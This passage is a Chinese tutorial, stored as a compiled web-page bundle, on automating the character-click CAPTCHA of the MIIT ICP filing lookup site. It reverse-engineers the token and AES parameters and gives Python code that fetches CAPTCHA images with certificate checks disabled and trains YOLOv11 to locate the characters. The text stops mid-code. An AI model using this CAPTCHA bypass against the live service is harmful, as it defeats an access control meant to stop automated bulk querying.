647\n\n{"code":200,"msg":"\u64cd\u4f5c\u6210\u529f","params":{"endRow":0,"firstPage":1,"hasNextPage":false,"hasPreviousPage":false,"isFirstPage":true,"isLastPage":true,"lastPage":1,"list":[{"contentTypeName":"","domain":"baidu.com","domainId":10000245113,"leaderName":"","limitAccess":"\u5426","mainId":282751,"mainLicence":"\u4eacICP\u8bc1030173\u53f7","natureName":"\u4f01\u4e1a","serviceId":282911,"serviceLicence":"\u4eacICP\u8bc1030173\u53f7-1","unitName":"\u5317\u4eac\u767e\u5ea6\u7f51\u8baf\u79d1\u6280\u6709\u9650\u516c\u53f8","updateRecordTime":"2019-05-16 16:06:21"}],"navigatePages":8,"navigatepageNums":[1],"nextPage":1,"pageNum":1,"pageSize":10,"pages":1,"prePage":1,"size":1,"startRow":0,"total":1},"success":true}\n'})}),"\n",(0,t.jsx)(n.h2,{id:"\u53c2\u6570\u5206\u6790",children:"\u53c2\u6570\u5206\u6790"}),"\n",(0,t.jsx)(n.h3,{id:"token",children:"Token"}),"\n",(0,t.jsxs)(n.p,{children:["\u6211\u4eec\u9996\u5148\u5206\u6790",(0,t.jsx)(n.code,{children:"Token"}),"\u4ece\u54ea\u91cc\u6765\u7684\uff0c\u53ef\u4ee5\u4ece\u4e0a\u9762\u7684\u4e09\u6b21\u8bf7\u6c42\u53d1\u73b0\uff0c\u6bcf\u6b21\u8bf7\u6c42\u90fd\u643a\u5e26\u4e86Token \u90a3\u4e48 token \u4ece\u54ea\u91cc\u6765\u5462\uff1f"]}),"\n",(0,t.jsx)(n.p,{children:"\u6211\u4eec\u5148\u6e05\u7406\u4e00\u904d\u6d4f\u89c8\u5668\uff0c\u5e76\u5237\u65b0"}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{alt:"image-20250506103745329",src:i(69078).A+"",width:"2312",height:"1536"})}),"\n",(0,t.jsxs)(n.p,{children:["\u53ef\u4ee5\u770b\u5230\u8fd9\u91cc\u7684\u8bf7\u6c42\u5305\uff0c\u662f\u7528\u6765\u83b7\u53d6",(0,t.jsx)(n.code,{children:"Token"}),"\u7684"]}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{alt:"image-20250506105052785",src:i(91747).A+"",width:"2614",height:"1448"})}),"\n",(0,t.jsx)(n.p,{children:"\u5206\u6790\u4e00\u4e0b\u524d\u7aef\u4ee3\u7801"}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{alt:"image-20250506110308731",src:i(69478).A+"",width:"2972",height:"1468"})}),"\n",(0,t.jsx)(n.p,{children:"\u8ddf\u8fdb\u8c03\u8bd5"}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{alt:"image-20250506110411706",src:i(70199).A+"",width:"2528",height:"1546"})}),"\n",(0,t.jsxs)(n.p,{children:["\u8fd9\u4e2aauth \u5c31\u662f ",(0,t.jsx)(n.code,{children:"testtest+\u65f6\u95f4\u6233"}),"\u7684md5"]}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{alt:"image-20250506110856409",src:i(49862).A+"",width:"1700",height:"582"})}),"\n",(0,t.jsx)(n.h3,{id:"pointjson",children:"pointJson"}),"\n",(0,t.jsxs)(n.p,{children:["\u90a3\u4e48\u63a5\u4e0b\u6765\uff0c\u67e5\u770b\u7b2c\u4e8c\u6b21\u8bf7\u6c42\u7684",(0,t.jsx)(n.code,{children:"pointJson"}),"\u662f\u5982\u4f55\u6765\u7684"]}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{alt:"image-20250506114618926",src:i(45338).A+"",width:"2872",height:"1478"})}),"\n",(0,t.jsxs)(n.p,{children:["\u8fd9\u4e2a ",(0,t.jsx)(n.code,{children:"checkPointArr"}),"\u5c31\u662f\u8fd94\u4e2a\u70b9"]}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{alt:"image-20250506114656507",src:i(2755).A+"",width:"2762",height:"1538"})}),"\n",(0,t.jsxs)(n.p,{children:["\u8ddf\u8fdb\u8c03\u8bd5\u53d1\u73b0\u662f ",(0,t.jsx)(n.code,{children:"AES Pkcs7"}),"\u586b\u5145\u52a0\u5bc6"]}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{alt:"image-20250506131510200",src:i(14187).A+"",width:"1818",height:"568"})}),"\n",(0,t.jsxs)(n.p,{children:["\u90a3\u4e48\u73b0\u5728\u5173\u952e\u7684\u6765\u4e86\uff0c",(0,t.jsx)(n.code,{children:"checkPointArr"})," \u8fd94\u4e2a\u70b9\u4ece\u54ea\u91cc\u6765\uff0c\u5c31\u662f\u6211\u4eec\u63a5\u4e0b\u6765\u7684\u91cd\u70b9\u4e86"]}),"\n",(0,t.jsx)(n.h3,{id:"checkpointarr",children:"checkPointArr"}),"\n",(0,t.jsx)(n.p,{children:"\u53ef\u4ee5\u770b\u5230\u4ed6\u662f\u83b7\u53d6\u7684\u56fe\u7247\u5750\u6807\uff0c\u5e76\u6dfb\u52a0\u753b\u5706"}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{alt:"image-20250506134038917",src:i(20604).A+"",width:"2568",height:"1282"})}),"\n",(0,t.jsx)(n.p,{children:"\u6dfb\u52a0\u540e\uff0c\u53c8\u8fdb\u884c\u4e86\u753b\u5706\u7684\u64cd\u4f5c"}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{alt:"image-20250506134346670",src:i(55982).A+"",width:"1600",height:"280"})}),"\n",(0,t.jsxs)(n.p,{children:["4\u4e2a\u70b9\u9009\u5b8c\u540e\uff0c\u89e6\u53d1 ",(0,t.jsx)(n.code,{children:"checkImgPoint"})]}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{alt:"image-20250506134439536",src:i(11944).A+"",width:"1848",height:"432"})}),"\n",(0,t.jsx)(n.p,{children:"\u6211\u4eec\u8ddf\u8fdb\u8c03\u8bd5\uff0c\u53d1\u73b0\u5c31\u662f\u8bf7\u6c42\u51fd\u6570"}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{alt:"image-20250506134509953",src:i(88907).A+"",width:"1490",height:"414"})}),"\n",(0,t.jsx)(n.p,{children:"\u6240\u4ee5\uff0c\u6211\u4eec\u8981\u5b9e\u73b0\u9a8c\u8bc1\u7801\u7684\u81ea\u52a8\u5316\uff0c\u5c31\u8981\u8ba9\u811a\u672c\u77e5\u9053\u8fd94\u4e2a\u70b9\u7684\u4f4d\u7f6e\uff0c\u90a3\u4e48\u8be5\u600e\u4e48\u505a\u5462\uff1f"}),"\n",(0,t.jsx)(n.h2,{id:"\u70b9\u9009\u9a8c\u8bc1\u7801\u7684\u81ea\u52a8\u5316",children:"\u70b9\u9009\u9a8c\u8bc1\u7801\u7684\u81ea\u52a8\u5316"}),"\n",(0,t.jsx)(n.h3,{id:"\u8ba9\u6a21\u578b\u5b66\u4f1a\u70b9\u5b57",children:"\u8ba9\u6a21\u578b\u5b66\u4f1a\u70b9\u5b57"}),"\n",(0,t.jsxs)(n.p,{children:["\u70b9\u9009\u9a8c\u8bc1\u7801\uff0c\u4f20\u7edf\u65b9\u6cd5\u5927\u591a\u662f\u4eba\u773c\u81ea\u5df1\u770b\u56fe\u3001\u81ea\u5df1\u9009\uff0c\u4f46\u6211\u4eec\u4eca\u5929\u7684\u76ee\u6807\u5f88\u660e\u786e\uff1a\u8ba9\u673a\u5668\u505a\u8fd9\u4e9b\u4e8b\u2014\u2014",(0,t.jsx)(n.strong,{children:"\u81ea\u52a8\u4ece\u56fe\u7247\u4e2d\u8bc6\u522b\u6c49\u5b57\uff0c\u6309\u987a\u5e8f\u70b9\u51fb"}),"\u3002\u6574\u4e2a\u8fc7\u7a0b\u5206\u4e3a\u4e24\u6b65\uff1a",(0,t.jsx)(n.strong,{children:"\u8bc6\u522b\u56fe\u4e2d\u7684\u6c49\u5b57\u4f4d\u7f6e"}),"\uff0c\u7136\u540e\u6839\u636e\u63d0\u4f9b\u7684\u63d0\u793a\u5b57\uff0c\u6309\u6b63\u786e\u987a\u5e8f\u70b9\u51fb\u3002"]}),"\n",(0,t.jsx)(n.h4,{id:"\u4e24\u6b65\u8d70\u4ece\u56fe\u50cf\u5230\u70b9\u51fb",children:"\u4e24\u6b65\u8d70\uff1a\u4ece\u56fe\u50cf\u5230\u70b9\u51fb"}),"\n",(0,t.jsxs)(n.ol,{children:["\n",(0,t.jsxs)(n.li,{children:[(0,t.jsx)(n.strong,{children:"\u56fe\u50cf\u8bc6\u522b\uff1a"})," \u9996\u5148\uff0c\u6a21\u578b\u9700\u8981\u8bc6\u522b\u51fa\u56fe\u4e2d\u7684 5 \u4e2a\u6c49\u5b57\u3002\u4e5f\u5c31\u662f\u4ece\u6574\u4e2a\u9a8c\u8bc1\u7801\u56fe\u7247\u4e2d\u63d0\u53d6\u51fa",(0,t.jsx)(n.strong,{children:"\u6bcf\u4e2a\u5b57\u7684\u5750\u6807"}),"\uff0c\u8fd9\u4e00\u6b65\u5c31\u50cf\u8ba9\u6a21\u578b\u5177\u5907\u201c\u770b\u56fe\u201d\u7684\u80fd\u529b\uff0c\u51c6\u786e\u627e\u51fa\u6bcf\u4e2a\u5b57\u7684\u4f4d\u7f6e\u3002"]}),"\n",(0,t.jsxs)(n.li,{children:[(0,t.jsx)(n.strong,{children:"\u5b57\u5339\u914d\u4e0e\u6392\u5e8f\uff1a"})," \u7136\u540e\uff0c\u6a21\u578b\u6839\u636e",(0,t.jsx)(n.strong,{children:"\u76ee\u6807\u63d0\u793a"}),"\uff0c\u5224\u65ad\u56fe\u4e2d\u7684\u54ea\u4e2a\u5b57\u662f\u6b63\u786e\u7684\uff0c\u5e76\u6309\u987a\u5e8f\u7ed9\u51fa\u70b9\u51fb\u987a\u5e8f\u3002\u8fd9\u5c31\u76f8\u5f53\u4e8e\u201c\u914d\u5bf9\u201d\u5de5\u4f5c\uff0c\u6a21\u578b\u8981\u80fd\u591f\u5224\u65ad\u6bcf\u4e2a\u5b57\u548c\u63d0\u793a\u5b57\u7684\u76f8\u4f3c\u5ea6\uff0c\u5e76\u6309\u6b63\u786e\u7684\u987a\u5e8f\u8fdb\u884c\u6392\u5217\u3002"]}),"\n"]}),"\n",(0,t.jsxs)(n.p,{children:["\u770b\u8d77\u6765\u8fd9\u5f88\u7b80\u5355\uff0c\u4f46\u5b9e\u9645\u4e0a\uff0c",(0,t.jsx)(n.strong,{children:"\u8fd9\u4e24\u6b65\u53ef\u4e0d\u7b80\u5355"}),"\uff0c\u5c24\u5176\u662f\u56fe\u4e2d\u7684\u5e72\u6270\u4fe1\u606f\u548c\u5b57\u4f53\u7684\u53d8\u5316\uff0c\u7ed9\u4e86\u4f20\u7edf\u65b9\u6cd5\u4e0d\u5c0f\u7684\u6311\u6218\u3002\u6240\u4ee5\uff0c\u6211\u4eec\u9700\u8981\u501f\u52a9\u673a\u5668\u5b66\u4e60\uff0c\u5c24\u5176\u662f\u6df1\u5ea6\u5b66\u4e60\uff0c\u6765\u63d0\u9ad8\u8bc6\u522b\u7684\u51c6\u786e\u6027\u3002"]}),"\n",(0,t.jsxs)(n.p,{children:["\u63a5\u4e0b\u6765\u7684\u6b65\u9aa4\u5c06\u8be6\u7ec6\u4ecb\u7ecd\u5982\u4f55\u5229\u7528 YOLOv5 \u6765\u8bc6\u522b\u56fe\u4e2d\u7684\u5b57\uff0c\u5e76\u4f7f\u7528\u5b6a\u751f\u7f51\u7edc\u8fdb\u884c\u5b57\u5339\u914d\u3002\u6700\u7ec8\uff0c\u6211\u4eec\u4f1a\u628a\u8fd9\u4e9b\u4fe1\u606f\u8f6c\u5316\u6210\u53ef\u4ee5\u63d0\u4ea4\u7684 ",(0,t.jsx)(n.code,{children:"pointson"})," \u53c2\u6570\u3002"]}),"\n",(0,t.jsx)(n.h3,{id:"\u5148\u628a\u5b57\u62a0\u51fa\u6765\u63d0\u53d6\u6bcf\u4e2a\u5b57\u7684\u4f4d\u7f6e",children:"\u5148\u628a\u5b57\u62a0\u51fa\u6765\uff0c\u63d0\u53d6\u6bcf\u4e2a\u5b57\u7684\u4f4d\u7f6e"}),"\n",(0,t.jsxs)(n.p,{children:["\u9a8c\u8bc1\u7801\u4e2d\u7684 5 \u4e2a\u5b57\u9700\u8981\u901a\u8fc7",(0,t.jsx)(n.strong,{children:"\u51c6\u786e\u7684\u56fe\u50cf\u5904\u7406"}),"\u6280\u672f\u63d0\u53d6\u51fa\u6765\uff0c\u624d\u80fd\u8fdb\u4e00\u6b65\u5904\u7406\u5e76\u8fdb\u884c\u70b9\u51fb\u3002\u4e3a\u4e86\u5b9e\u73b0\u8fd9\u4e2a\u76ee\u6807\uff0c\u6211\u4eec\u5c06\u4f7f\u7528 ",(0,t.jsx)(n.strong,{children:"YOLOv11"})," \u6a21\u578b\u6765\u68c0\u6d4b\u6bcf\u4e2a\u6c49\u5b57\u7684\u4f4d\u7f6e\uff0c",(0,t.jsx)(n.strong,{children:"YOLOv11"})," \u662f YOLO \u7cfb\u5217\u7684\u6700\u65b0\u7248\u672c\uff0c\u76f8\u6bd4\u4e4b\u524d\u7684\u7248\u672c\u5728\u7cbe\u5ea6\u548c\u6548\u7387\u4e0a\u6709\u4e86\u8fdb\u4e00\u6b65\u63d0\u5347\u3002"]}),"\n",(0,t.jsxs)(n.p,{children:[(0,t.jsx)(n.strong,{children:"YOLOv11"})," \u662f\u6700\u65b0\u7684\u76ee\u6807\u68c0\u6d4b\u6a21\u578b\uff0c\u76f8\u6bd4 YOLOv5 \u548c\u5176\u4ed6\u7248\u672c\uff0c\u5b83\u5728\u591a\u79cd\u6807\u51c6\u6570\u636e\u96c6\u4e0a\u90fd\u6709\u66f4\u5f3a\u7684\u8868\u73b0\uff0c\u80fd\u591f\u5b9e\u73b0",(0,t.jsx)(n.strong,{children:"\u66f4\u5feb\u7684\u63a8\u7406\u901f\u5ea6"}),"\u548c",(0,t.jsx)(n.strong,{children:"\u66f4\u9ad8\u7684\u7cbe\u5ea6"}),"\u3002\u5bf9\u4e8e\u9a8c\u8bc1\u7801\u56fe\u7247\u6765\u8bf4\uff0c\u6211\u4eec\u5c06\u7528 YOLOv11 \u6765",(0,t.jsx)(n.strong,{children:"\u68c0\u6d4b\u6c49\u5b57\u7684\u5750\u6807"}),"\uff0c\u4e3a\u540e\u7eed\u7684\u70b9\u51fb\u987a\u5e8f\u5339\u914d\u6253\u4e0b\u57fa\u7840\u3002"]}),"\n",(0,t.jsx)(n.h4,{id:"\u6570\u636e\u96c6\u51c6\u5907",children:(0,t.jsx)(n.strong,{children:"\u6570\u636e\u96c6\u51c6\u5907"})}),"\n",(0,t.jsxs)(n.p,{children:["\u9996\u5148\uff0c\u6211\u4eec\u9700\u8981\u51c6\u5907\u4e00\u4e2a\u5305\u542b\u5927\u91cf\u9a8c\u8bc1\u7801\u56fe\u50cf\u548c\u5bf9\u5e94\u6807\u6ce8\u6570\u636e\u7684\u8bad\u7ec3\u96c6\u3002\u6807\u6ce8\u7684\u5185\u5bb9\u662f\u6bcf\u4e2a\u6c49\u5b57\u7684\u77e9\u5f62\u6846\uff0c\u6307\u793a\u5176\u5728\u56fe\u50cf\u4e2d\u7684\u4f4d\u7f6e\u3002\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528\u50cf ",(0,t.jsx)(n.code,{children:"labelImg"})," \u8fd9\u6837\u7684\u5de5\u5177\u8fdb\u884c\u624b\u52a8\u6807\u6ce8\uff0c\u7ed9\u6bcf\u4e2a\u6c49\u5b57\u6253\u4e0a\u6807\u7b7e\u5e76\u8bb0\u5f55\u5176\u5750\u6807\u3002"]}),"\n",(0,t.jsx)(n.p,{children:"\u4f7f\u7528\u4e0b\u9762\u4ee3\u7801"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-python",children:'def getImage(token):\n headers = {\n "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36",\n "Referer": "https://beian.miit.gov.cn/",\n "Token": token,\n "Connection": "keep-alive",\n "Accept": "application/json, text/plain, */*",\n "Accept-Encoding": "gzip, deflate, br",\n "Accept-Language": "zh-CN,zh;q=0.9",\n "Origin": "https://beian.miit.gov.cn"\n }\n payload = {\n "clientUid": "point-" + str(uuid.uuid4())\n }\n try:\n resp = requests.post("https://hlwicpfwc.miit.gov.cn/icpproject_query/api/image/getCheckImagePoint",\n headers=headers, json=payload, verify=False).json()\n return resp["params"], payload["clientUid"]\n except Exception:\n time.sleep(5)\n resp = requests.post("https://hlwicpfwc.miit.gov.cn/icpproject_query/api/image/getCheckImagePoint",\n headers=headers, json=payload, verify=False).json()\n return resp["params"], payload["clientUid"]\n\ndef auth():\n t = str(round(time.time()))\n data = {\n "authKey": hashlib.md5(("testtest" + t).encode()).hexdigest(),\n "timeStamp": t\n }\n headers = {\n "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36",\n "Referer": "https://beian.miit.gov.cn/",\n "Content-Type": "application/x-www-form-urlencoded",\n "Connection": "keep-alive",\n "Accept": "application/json, text/plain, */*",\n "Accept-Encoding": "gzip, deflate, br",\n "Accept-Language": "zh-CN,zh;q=0.9",\n "Origin": "https://beian.miit.gov.cn"\n }\n try:\n resp = requests.post("https://hlwicpfwc.miit.gov.cn/icpproject_query/api/auth", headers=headers,\n data=parse.urlencode(data), verify=False).text\n return json.loads(resp)["params"]["bussiness"]\n except Exception:\n time.sleep(5)\n resp = requests.post("https://hlwicpfwc.miit.gov.cn/icpproject_query/api/auth", headers=headers,\n data=parse.urlencode(data), verify=False).text\n return json.loads(resp)["params"]["bussiness"]\n\ndef get_origin_data(save_dir="origin_data", max_images=100):\n """\n \u83b7\u53d6\u9a8c\u8bc1\u7801\u56fe\u7247\u5e76\u4fdd\u5b58\u5230\u6307\u5b9a\u76ee\u5f55\u3002\u5982\u679c\u53d1\u751f\u5f02\u5e38\uff0c\u4f1a\u91cd\u65b0\u5c1d\u8bd5\u83b7\u53d6\u5269\u4f59\u6570\u91cf\u7684\u56fe\u7247\u3002\n\n :param save_dir: \u56fe\u7247\u4fdd\u5b58\u7684\u76ee\u5f55\uff0c\u9ed8\u8ba4\u4e3a "data/img/big/"\n :param max_images: \u6700\u5927\u4fdd\u5b58\u7684\u56fe\u7247\u6570\u91cf\uff0c\u9ed8\u8ba4\u4e3a 100\n """\n token = auth()\n time.sleep(0.1)\n\n # \u786e\u4fdd\u4fdd\u5b58\u76ee\u5f55\u5b58\u5728\n if not os.path.exists(save_dir):\n os.makedirs(save_dir)\n\n # \u8bb0\u5f55\u5df2\u83b7\u53d6\u7684\u56fe\u7247\u6570\u91cf\n images_saved = 0\n\n while images_saved < max_images:\n try:\n for i in range(images_saved, max_images): # \u83b7\u53d6\u6307\u5b9a\u6570\u91cf\u7684\u56fe\u7247\n print(f"\u6b63\u5728\u83b7\u53d6\u7b2c{i + 1}\u5f20\u9a8c\u8bc1\u7801") # i \u4ece 0 \u5f00\u59cb\uff0c\u6240\u4ee5\u663e\u793a\u4e3a i + 1\n\n # \u6bcf5\u6b21\u91cd\u65b0\u83b7\u53d6token\n if i % 5 == 0:\n token = auth()\n time.sleep(0.1)\n\n params, clientUid = getImage(token) # \u83b7\u53d6\u56fe\u7247\u4fe1\u606f\n # \u5982\u679cparams\u4e3a\u7a7a\u6216\u5f02\u5e38\uff0c\u7ee7\u7eed\n if not params:\n raise ValueError("\u83b7\u53d6\u9a8c\u8bc1\u7801\u6570\u636e\u5931\u8d25\uff0c\u91cd\u65b0\u5c1d\u8bd5...")\n\n # \u751f\u6210\u968f\u673a\u6587\u4ef6\u540d\n filename = random_filename() + ".jpg"\n save_path = os.path.join(save_dir, filename)\n\n # \u4fdd\u5b58\u56fe\u7247\n with open(save_path, "wb") as f:\n f.write(base64.b64decode(params["bigImage"]))\n\n print(f"\u7b2c{i + 1}\u5f20\u9a8c\u8bc1\u7801\u5df2\u4fdd\u5b58\u4e3a {filename}")\n images_saved += 1 # \u589e\u52a0\u5df2\u4fdd\u5b58\u7684\u56fe\u7247\u6570\u91cf\n time.sleep(1.5)\n\n except Exception as e:\n print(f"\u9519\u8bef: {e}\uff0c\u6b63\u5728\u91cd\u65b0\u5c1d\u8bd5\u83b7\u53d6\u5269\u4f59\u7684 {max_images - images_saved} \u5f20\u9a8c\u8bc1\u7801")\n # \u5982\u679c\u53d1\u751f\u5f02\u5e38\uff0c\u7ee7\u7eed\u4ece\u5269\u4f59\u56fe\u7247\u6570\u5f00\u59cb\n time.sleep(2) # \u7b49\u5f85\u4e00\u4f1a\u540e\u91cd\u65b0\u5c1d\u8bd5\n continue\n'})}),"\n",(0,t.jsxs)(n.p,{children:["\u8bb2\u5f97\u5230\u7684\u56fe\u7247\u96c6\uff0c\u8fdb\u884c\u624b\u52a8\u6807\u6ce8 \u4f7f\u7528 ",(0,t.jsx)(n.code,{children:"labelImg"})]}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{alt:"image-20250506140354189",src:i(88747).A+"",width:"3016",height:"1610"})}),"\n",(0,t.jsx)(n.p,{children:"\u8fd9\u91cc\u6709\u51e0\u4e2a\u5feb\u6377\u952e"}),"\n",(0,t.jsxs)(n.ul,{children:["\n",(0,t.jsx)(n.li,{children:"W\uff1a\u753b\u6846"}),"\n",(0,t.jsx)(n.li,{children:"A\uff1a\u4e0a\u4e00\u5f20"}),"\n",(0,t.jsx)(n.li,{children:"D\uff1a\u4e00\u4e0b\u6da8"}),"\n",(0,t.jsx)(n.li,{children:"command + v\uff1a\u590d\u5236\u4e0a\u4e00\u5f20\u7684\u753b\u6846"}),"\n"]}),"\n",(0,t.jsx)(n.p,{children:"\u5927\u6982\u6807\u6ce8 200-300\u5f20\u56fe\u7247\u5373\u53ef"}),"\n",(0,t.jsx)(n.h4,{id:"\u8bad\u7ec3-yolov11",children:"\u8bad\u7ec3 YOLOv11"}),"\n",(0,t.jsx)(n.p,{children:"\u5229\u7528\u6807\u6ce8\u597d\u7684\u6570\u636e\u96c6\u6765\u8bad\u7ec3 YOLOv11 \u6a21\u578b"}),"\n",(0,t.jsxs)(n.p,{children:["\u9996\u5148\u5bf9\u539f\u59cb\u56fe\u7247\u8fdb\u884c\u62c6\u5206\uff0c\u8fdb\u884c",(0,t.jsx)(n.code,{children:"8:2"})," \u8fdb\u884c\u624d\u5206\u4e3a ",(0,t.jsx)(n.code,{children:"train"}),"\u548c",(0,t.jsx)(n.code,{children:"val"})," \u76ee\u5f55"]}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-python",children:'def split(p=os.path.join("datasets", "all")):\n dataset_path = p\n images_path = os.path.join(dataset_path, "images")\n labels_path = os.path.join(dataset_path, "labels")\n\n output_dir = "datasets" # \u8f93\u51fa\u7684\u62c6\u5206\u76ee\u5f55\n train_ratio = 0.8\n val_ratio = 0.2\n # test_ratio = 0.1\n\n # \u786e\u4fdd\u6bd4\u4f8b\u52a0\u548c\u4e3a1\n # assert train_ratio + val_ratio == 1.0\n\n # \u521b\u5efa\u8f93\u51fa\u76ee\u5f55\n for split in ["train", "val"]:\n os.makedirs(os.path.join(output_dir, split, "images"), exist_ok=True)\n os.makedirs(os.path.join(output_dir, split, "labels"), exist_ok=True)\n\n # \u83b7\u53d6\u6240\u6709\u56fe\u7247\u6587\u4ef6\u540d\n image_files = [f for f in os.listdir(images_path) if f.endswith((\'.jpg\', \'.png\'))]\n random.shuffle(image_files)\n\n # \u8ba1\u7b97\u62c6\u5206\u6570\u91cf\n total_images = len(image_files)\n train_count = int(total_images * train_ratio)\n val_count = int(total_images * val_ratio)\n\n # \u62c6\u5206\u6570\u636e\u96c6\n train_files = image_files[:train_count]\n val_files = image_files[train_count:train_count + val_count]\n\n # \u62f7\u8d1d\u6587\u4ef6\u51fd\u6570\n def copy_files(file_list, split):\n for file in file_list:\n # \u590d\u5236\u56fe\u7247\n src_image_path = os.path.join(images_path, file)\n dst_image_path = os.path.join(output_dir, split, "images", file)\n shutil.copy(src_image_path, dst_image_path)\n\n # \u590d\u5236\u6807\u7b7e\n label_file = file.replace(\'.jpg\', \'.txt\').replace(\'.png\', \'.txt\')\n src_label_path = os.path.join(labels_path, label_file)\n dst_label_path = os.path.join(output_dir, split, "labels", label_file)\n if os.path.exists(src_label_path): # \u786e\u4fdd\u6807\u7b7e\u6587\u4ef6\u5b58\u5728\n shutil.copy(src_label_path, dst_label_path)\n\n # \u62f7\u8d1d\u5230\u4e0d\u540c\u96c6\u5408\n copy_files(train_files, "train")\n copy_files(val_files, "val")\n\n print("\u6570\u636e\u96c6\u62c6\u5206\u5b8c\u6210\uff01")\n'})}),"\n",(0,t.jsx)(n.p,{children:"\u62c6\u5206\u5b8c\u6210\u540e\u8fdb\u884c\u8bad\u7ec3"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-python",children:'def train(train_model="yolo11n.pt"):\n model = YOLO(train_model)\n\n # \u6587\u5b57\n model.train(data="./dataset.yaml", epochs=100, imgsz="190,500", device="mps")\n #\n # # Export the model to ONNX format\n model.export(format="onnx", imgsz="190,500")\n'})}),"\n",(0,t.jsx)(n.p,{children:"dataset.yaml"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-yaml",children:"train: train\nval: val # \u9a8c\u8bc1\u96c6\u56fe\u50cf\u8def\u5f84\ntest: test # \u6d4b\u8bd5\u96c6\u56fe\u50cf\u8def\u5f84\n\nnc: 1 # \u53ea\u6709\u4e00\u4e2a\u7c7b\u522b\nnames: ['0']\n"})}),"\n",(0,t.jsxs)(n.p,{children:["\u8bad\u7ec3\u5b8c\u6210\u540e \u4f1a\u751f\u6210 \u6a21\u578b\u6587\u4ef6 ",(0,t.jsx)(n.code,{children:"best.onnx"})]}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{alt:"image-20250506141137165",src:i(77833).A+"",width:"1508",height:"906"})}),"\n",(0,t.jsx)(n.h4,{id:"\u56fe\u50cf\u63a8\u7406\u4e0e\u63d0\u53d6",children:"\u56fe\u50cf\u63a8\u7406\u4e0e\u63d0\u53d6"}),"\n",(0,t.jsx)(n.p,{children:"\u8bad\u7ec3\u597d\u7684 YOLOv11 \u6a21\u578b\u53ef\u4ee5\u7528\u6765\u5bf9\u5b9e\u9645\u7684\u9a8c\u8bc1\u7801\u56fe\u50cf\u8fdb\u884c\u63a8\u7406\u3002\u5b83\u4f1a\u5728\u56fe\u50cf\u4e2d\u8f93\u51fa\u591a\u4e2a\u77e9\u5f62\u6846\uff0c\u6bcf\u4e2a\u6846\u7684\u5750\u6807\u6807\u793a\u4e00\u4e2a\u8bc6\u522b\u5230\u7684\u6c49\u5b57\u7684\u4f4d\u7f6e\u3002\u6a21\u578b\u4f1a\u540c\u65f6\u63d0\u4f9b\u6bcf\u4e2a\u6846\u7684\u7f6e\u4fe1\u5ea6\uff0c\u8868\u793a\u5b83\u5bf9\u8fd9\u4e2a\u5b57\u7684\u8bc6\u522b\u4fe1\u5fc3\u3002"}),"\n",(0,t.jsx)(n.p,{children:"\u8bad\u7ec3\u5b8c\u6210\u540e\uff0c\u7528\u4e0b\u9762\u7684\u4ee3\u7801\u8fdb\u884c\u6d4b\u8bd5 \u67e5\u770b 5\u4e2a\u56fe\u7247\u662f\u5426\u6ee1\u8db3\u8981\u6c42"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-test",children:'def test(big_img="", onnx="best.onnx", confidence_thres=0.7, iou_thres=0.7):\n if big_img == "":\n token = auth()\n time.sleep(0.1)\n params, clientUid = getImage(token) # \u83b7\u53d6\u56fe\u7247\u4fe1\u606f\n big_img = read_base64_image(base64_string=params["bigImage"])\n else:\n big_img = read_base64_image(big_img)\n\n session = onnxruntime.InferenceSession(onnx)\n model_inputs = session.get_inputs()\n\n # \u8bfb\u53d6\u56fe\u50cf\u5e76\u5904\u7406\n\n img_height, img_width = big_img.shape[:2]\n img = cv2.cvtColor(big_img, cv2.COLOR_BGR2RGB)\n img = cv2.resize(img, (512, 192))\n image_data = np.array(img) / 255.0\n image_data = np.transpose(image_data, (2, 0, 1))\n image_data = np.expand_dims(image_data, axis=0).astype(np.float32)\n input = {model_inputs[0].name: image_data}\n output = session.run(None, input)\n outputs = np.transpose(np.squeeze(output[0]))\n rows = outputs.shape[0]\n boxes, scores = [], []\n x_factor = img_width / 512\n y_factor = img_height / 192\n for i in range(rows):\n classes_scores = outputs[i][4:]\n max_score = np.amax(classes_scores)\n if max_score >= confidence_thres:\n x, y, w, h = outputs[i][0], outputs[i][1], outputs[i][2], outputs[i][3]\n left = int((x - w / 2) * x_factor)\n top = int((y - h / 2) * y_factor)\n width = int(w * x_factor)\n height = int(h * y_factor)\n boxes.append([left, top, width, height])\n scores.append(max_score)\n indices = cv2.dnn.NMSBoxes(boxes, scores, confidence_thres, iou_thres)\n if len(indices) < 5:\n print("\u68c0\u6d4b\u6846\u6570\u91cf\u4e0d\u8db35\u4e2a")\n return False\n indices = indices[:5]\n for idx in indices: # \u4f7f\u7528 indices.flatten() \u5c55\u5f00\u4e3a\u4e00\u7ef4\u6570\u7ec4\n box = boxes[idx] # \u83b7\u53d6\u6846\n x, y, w, h = box[0], box[1], box[2], box[3]\n # \u9632\u6b62\u8d8a\u754c\n x1 = max(0, x)\n y1 = max(0, y)\n x2 = min(x + w, img_width)\n y2 = min(y + h, img_height)\n\n # \u88c1\u526a\u56fe\u7247\n cropped_img = big_img[y1:y2, 